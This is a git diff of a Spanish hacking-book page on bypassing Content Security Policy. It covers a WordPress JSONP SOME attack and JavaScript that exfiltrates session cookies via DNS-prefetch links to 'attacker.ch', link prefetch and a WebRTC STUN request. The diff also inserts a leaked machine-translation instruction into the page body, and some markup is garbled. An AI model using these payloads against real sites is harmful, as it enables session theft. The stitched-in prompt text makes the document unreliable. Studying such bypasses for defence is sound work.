Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
|
||||
Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
|
||||
Para obtener más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Bypasses de Exfiltración de CSP
|
||||
|
|
@ -699,7 +699,7 @@ Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección,
|
|||
### DNS Prefetch
|
||||
|
||||
Para cargar páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\
|
||||
Puedes indicar a un navegador que pre-resuelva un nombre de host con: `<link reol="dns-prefetch" href="something.com">`
|
||||
Puedes indicar a un navegador que pre-resuelva un nombre de host con: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Podrías abusar de este comportamiento para **exfiltrar información sensible a través de solicitudes DNS**:
|
||||
```javascript
|
||||
|
|
@ -707,27 +707,9 @@ var sessionid = document.cookie.split('=')[1]+".";
|
|||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
### Bypassing Content Security Policy (CSP)
|
||||
### Otra forma:
|
||||
|
||||
#### Introducción
|
||||
|
||||
En esta sección, exploraremos diferentes técnicas para eludir una Política de Seguridad de Contenido (CSP) en una aplicación web.
|
||||
|
||||
#### Bypass utilizando `unsafe-inline`
|
||||
|
||||
Una forma común de eludir una CSP es utilizando la directiva `unsafe-inline` en la política. Esto permite la ejecución de scripts inline y estilos en línea, lo cual puede ser explotado por un atacante para ejecutar código malicioso.
|
||||
|
||||
#### Bypass utilizando `unsafe-eval`
|
||||
|
||||
Otra técnica es aprovechar la directiva `unsafe-eval` en la CSP. Esta directiva permite la ejecución de código JavaScript generado dinámicamente, lo cual puede ser utilizado para ejecutar payloads maliciosos.
|
||||
|
||||
#### Bypass utilizando data: URI
|
||||
|
||||
También es posible eludir una CSP utilizando data: URIs para cargar recursos, como scripts o estilos, de forma inline. Esto puede ser utilizado para evadir las restricciones de la política y ejecutar código malicioso en la página.
|
||||
|
||||
#### Conclusión
|
||||
|
||||
Es importante comprender las diferentes formas en que una CSP puede ser eludida para poder fortalecer la seguridad de una aplicación web y prevenir posibles ataques de ejecución de código no deseado.
|
||||
El siguiente es contenido de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/content-security-policy-csp-bypass/README.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
|
@ -746,7 +728,7 @@ Aparentemente, esta técnica no funciona en navegadores sin interfaz (bots)
|
|||
|
||||
En varias páginas se puede leer que **WebRTC no verifica la política `connect-src`** del CSP.
|
||||
|
||||
De hecho, puedes _filtrar_ información utilizando una _solicitud DNS_. Echa un vistazo a este código:
|
||||
De hecho, se pueden _filtrar_ información utilizando una _solicitud DNS_. Echa un vistazo a este código:
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue